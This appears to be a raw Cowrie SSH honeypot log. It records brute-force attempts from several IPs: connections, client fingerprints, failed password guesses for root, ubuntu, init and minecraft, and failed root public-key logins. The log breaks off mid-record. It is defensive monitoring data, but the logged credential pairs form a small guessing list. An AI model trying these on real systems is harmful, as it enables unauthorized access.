{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:07.611521Z","src_ip":"193.106.245.20","session":"be78b193f411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.574280738830566,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:09.322228Z","src_ip":"45.58.127.90","session":"bd12e72ddcf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51026,"dst_ip":"159.203.135.109","dst_port":22,"session":"0899fe95791a","protocol":"ssh","message":"New connection: 176.65.132.129:51026 (159.203.135.109:22) [session: 0899fe95791a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:09.346881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:09.350364Z","src_ip":"176.65.132.129","session":"0899fe95791a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:09.462699Z","src_ip":"176.65.132.129","session":"0899fe95791a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:09.902801Z","src_ip":"176.65.132.129","session":"0899fe95791a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:10.988276Z","src_ip":"176.65.132.129","session":"0899fe95791a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55668,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ceb405e4799","protocol":"ssh","message":"New connection: 172.237.20.62:55668 (159.203.135.109:22) [session: 7ceb405e4799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:12.003182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:12.011424Z","src_ip":"172.237.20.62","session":"7ceb405e4799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:12.174466Z","src_ip":"172.237.20.62","session":"7ceb405e4799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:12.664230Z","src_ip":"172.237.20.62","session":"7ceb405e4799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51060,"dst_ip":"159.203.135.109","dst_port":22,"session":"61218eebd1ea","protocol":"ssh","message":"New connection: 176.65.132.129:51060 (159.203.135.109:22) [session: 61218eebd1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:12.942487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:12.947504Z","src_ip":"176.65.132.129","session":"61218eebd1ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:13.035309Z","src_ip":"176.65.132.129","session":"61218eebd1ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:13.282148Z","src_ip":"176.65.132.129","session":"61218eebd1ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:13.829677Z","src_ip":"172.237.20.62","session":"7ceb405e4799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:14.366461Z","src_ip":"176.65.132.129","session":"61218eebd1ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42860,"dst_ip":"159.203.135.109","dst_port":22,"session":"241bf37d0e4b","protocol":"ssh","message":"New connection: 176.65.132.129:42860 (159.203.135.109:22) [session: 241bf37d0e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:16.399118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:16.408059Z","src_ip":"176.65.132.129","session":"241bf37d0e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:16.492248Z","src_ip":"176.65.132.129","session":"241bf37d0e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:16.747590Z","src_ip":"176.65.132.129","session":"241bf37d0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:17.935276Z","src_ip":"176.65.132.129","session":"241bf37d0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":50928,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5358159e41a","protocol":"ssh","message":"New connection: 175.110.115.68:50928 (10.17.0.5:22) [session: b5358159e41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:18.620220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:18.625016Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:18.708337Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:2a:66:15:b8:ef:44:b8:65:b3:e8:ef:53:0a:e4:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt49zQeVnyL7K7tKQKxVRP8ELhby9maMfegWToqfJf4x2MP+sSbaqW0EjX+OZ02hoUe+JclhfXkaPKoVQ3w1Qi2S13tCbViuvmEOdDGr3degC04Qcuvk+3mdidfqZtA9L5jzOnGq+jSgaWY5q9Q/L/5YMLxohc9zD5vya+2SgHv9w+uGy8EaR+qfq8bm1RhOk4LDaJFp2ijMxrGjJT0gayZ7TFhPtMo9yz2K4kRAU7Gg3veqyyP7hggQ+dnAVcq5N0z8CLFQhfLXir6pjCaqwY211EuXPKysXYxs67BOzdQ/UHIqhbZrbK7UVRE1qjmc4YcpT86kn8MCm/9Z18oqpt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:2a:66:15:b8:ef:44:b8:65:b3:e8:ef:53:0a:e4:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.103880Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:2a:66:15:b8:ef:44:b8:65:b3:e8:ef:53:0a:e4:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt49zQeVnyL7K7tKQKxVRP8ELhby9maMfegWToqfJf4x2MP+sSbaqW0EjX+OZ02hoUe+JclhfXkaPKoVQ3w1Qi2S13tCbViuvmEOdDGr3degC04Qcuvk+3mdidfqZtA9L5jzOnGq+jSgaWY5q9Q/L/5YMLxohc9zD5vya+2SgHv9w+uGy8EaR+qfq8bm1RhOk4LDaJFp2ijMxrGjJT0gayZ7TFhPtMo9yz2K4kRAU7Gg3veqyyP7hggQ+dnAVcq5N0z8CLFQhfLXir6pjCaqwY211EuXPKysXYxs67BOzdQ/UHIqhbZrbK7UVRE1qjmc4YcpT86kn8MCm/9Z18oqpt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.107718Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:03:52:ef:a5:31:02:bc:e3:4d:35:a5:ac:f7:db:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDR+0ISc1mJBYyr/JyVzNOoNN6A3s7JJ8Tzt9kIpK3Yr6v6PTEHiJfXLdetun0Eq+5jDxhtd8tXfOxySjPA8fyHAyzX3oGSxL2RNOXI6qNvB9amfQOJ1WoGFhAEcFIrLv41iA7EnQacxq/BzOmde/Dsd539bPRVrhSK9PtxxTz5jg0puB1+nbVVPwhv/7ZyswiNrvml/6yYRQ9K4W979Qyou5fGVosxjC/jabM7Ytk2datDWKuNRIreNmkCbk80RwTEssYIWeQ7WD2QBu+q2MeptBrsD3yAEh7AmY5XXpuzImDtZ9/dLwfkwBrqXglo56bf4FtxdS/ZErfBmiu//K7od0OmPX3zsWRnavNrO+95DqlOa+CFhYdtm0rlTbMckl2hr4kQ0gb306YmOX8xniik4uFh6hhXolbxMBY7HzATu5DkFmIMNKTdY/r10y+PwjUG3okcfCaSXp5oOUwCXeg2neRXNTsk4DDRx/E5QNMQG4VRXGaV2RIwDTYfaZZPCe5DtZkqZjVvqC1BYUAo46UpZMiNPkpd8f6igtvlmPRyeXpbKyVfbIkEjXblJk0gcTXXv8alx3DW2V7xSRl4tN6R5aqnC4onplW039akeaQi3tUs8L38HEkGzaYviMvC5a6uOdF+pE1zsO20cF/0kPHy+8neePSDUU5lHM762MxsYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:03:52:ef:a5:31:02:bc:e3:4d:35:a5:ac:f7:db:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.195443Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:03:52:ef:a5:31:02:bc:e3:4d:35:a5:ac:f7:db:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDR+0ISc1mJBYyr/JyVzNOoNN6A3s7JJ8Tzt9kIpK3Yr6v6PTEHiJfXLdetun0Eq+5jDxhtd8tXfOxySjPA8fyHAyzX3oGSxL2RNOXI6qNvB9amfQOJ1WoGFhAEcFIrLv41iA7EnQacxq/BzOmde/Dsd539bPRVrhSK9PtxxTz5jg0puB1+nbVVPwhv/7ZyswiNrvml/6yYRQ9K4W979Qyou5fGVosxjC/jabM7Ytk2datDWKuNRIreNmkCbk80RwTEssYIWeQ7WD2QBu+q2MeptBrsD3yAEh7AmY5XXpuzImDtZ9/dLwfkwBrqXglo56bf4FtxdS/ZErfBmiu//K7od0OmPX3zsWRnavNrO+95DqlOa+CFhYdtm0rlTbMckl2hr4kQ0gb306YmOX8xniik4uFh6hhXolbxMBY7HzATu5DkFmIMNKTdY/r10y+PwjUG3okcfCaSXp5oOUwCXeg2neRXNTsk4DDRx/E5QNMQG4VRXGaV2RIwDTYfaZZPCe5DtZkqZjVvqC1BYUAo46UpZMiNPkpd8f6igtvlmPRyeXpbKyVfbIkEjXblJk0gcTXXv8alx3DW2V7xSRl4tN6R5aqnC4onplW039akeaQi3tUs8L38HEkGzaYviMvC5a6uOdF+pE1zsO20cF/0kPHy+8neePSDUU5lHM762MxsYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.199265Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:01:1d:b0:c8:a0:81:b3:e4:02:dc:97:63:d8:21:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa0SVWlxGWT0gpT1Z8dKOxMW69va7kst6b52A5sizo5gSYP5GV9j8J3HQKOTH77HZqLCB7ixel/yVfOKzjfI6Y4bFrROulO7aTUFjBhP2+8eq/pyEeb+t/y0X3KAIs+KTSdxsW8Hp/9pe4ApwOR4OFQmiXLEcCdyVuETlsZM9v8JdfCF2MFGsTmnFgzEyNAmUJrlVi+Fj9dr+I7CJzww4158Mn5+I0adv+WBb9V5kDGsqd5J1k4r3hAmqsEj+BR3tzkJ6LvcCQpC8PXorVSPNBbDov1bmgWAmDGaVpHt1aWaWDll3vkRqGBXm+PWdFkxH/jbSv+Muk4VOVhRTnXIzx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:01:1d:b0:c8:a0:81:b3:e4:02:dc:97:63:d8:21:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.282991Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:01:1d:b0:c8:a0:81:b3:e4:02:dc:97:63:d8:21:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa0SVWlxGWT0gpT1Z8dKOxMW69va7kst6b52A5sizo5gSYP5GV9j8J3HQKOTH77HZqLCB7ixel/yVfOKzjfI6Y4bFrROulO7aTUFjBhP2+8eq/pyEeb+t/y0X3KAIs+KTSdxsW8Hp/9pe4ApwOR4OFQmiXLEcCdyVuETlsZM9v8JdfCF2MFGsTmnFgzEyNAmUJrlVi+Fj9dr+I7CJzww4158Mn5+I0adv+WBb9V5kDGsqd5J1k4r3hAmqsEj+BR3tzkJ6LvcCQpC8PXorVSPNBbDov1bmgWAmDGaVpHt1aWaWDll3vkRqGBXm+PWdFkxH/jbSv+Muk4VOVhRTnXIzx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.286370Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:5f:d2:61:ff:9a:73:ab:11:89:e8:b5:56:a5:3a:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcjDplZvff0Rptf6328mhIXb4BVZm6vsmGBbv9/De/ImlGhy1dUYMHDFkLsnhP2T5xKpS+N5DVa9ZvrjlUJlZLFoC58wRo2kshQrBHgsZZt3BwxIshq3U5vrBx+3tA0b3rYomagCJXJrEcJ8fgybdhNs8uuE7oNEEZVTO8QLdqBfxG4FkvaqgdxcETrkCy6+EBA/Gl9aVQ2Rs8wlk/WMe+ampYsTUnF1PJ4Gm5W0CxmrvCyXDxXcijLptDXhYdVZVN5ZI6G+eB82Pzzdj27p+UvRYF+yQCdGmDSBP+F//2oCbNIRU74U4hI8rErSIXbIdND5SRSdMBwr3zjlygGAtuNv3f1xPbBgpY+wmQ6oKjhnfKNpb3VOzINBaLHjfqjJ0ZKu5xZ4mDJ3KFfFSqpFexc9gfBja0haLic6vfQOAD+4cAFVVn10ultzzxy5cGpWN/3IAYnAnXGjgb1tOBFrQghwPz0K8/U/7KJunf9/MIDCYFD8KZncmN4/r4QT6+qQUMdclsRt+nRgzhnrlRKhoETv7PVsA9U4ns9vekdWT0vObZfIIB4yXtl/AlK8f2PwY/VBFgzlicd2nERZmqfMn4en3672cXRgUJaf7dA6+RJqfDuzAxhJxglOQpQUmR0XKptPPH0ATtAtU4PterVwiCR4GTYKLDyH5YQK2L3G9NDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:5f:d2:61:ff:9a:73:ab:11:89:e8:b5:56:a5:3a:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:19.370153Z","src_ip":"175.110.115.68","session":"b5358159e41a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:5f:d2:61:ff:9a:73:ab:11:89:e8:b5:56:a5:3a:96","key":"ssh-rsa 